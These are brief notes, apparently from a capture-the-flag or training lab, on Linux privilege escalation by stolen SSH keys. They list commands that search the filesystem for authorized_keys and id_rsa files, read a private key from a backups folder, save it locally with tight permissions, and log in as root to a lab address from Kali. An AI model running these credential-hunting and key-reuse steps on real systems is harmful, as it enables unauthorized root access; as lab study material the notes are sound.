Linux - Privilege Escalation - Internal All The Things (swisskyrepo.github.io)
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
look at it:
cat /backups/supersecretkeys/id_rsa
Save the key on our machine:
mousepad id_rsa
include the beginning and ending texts
change the file perms:
chmod 600 id_rsa
from Kali:
connect to SSH using the key:
ssh -i id_rsa root@10.10.37.231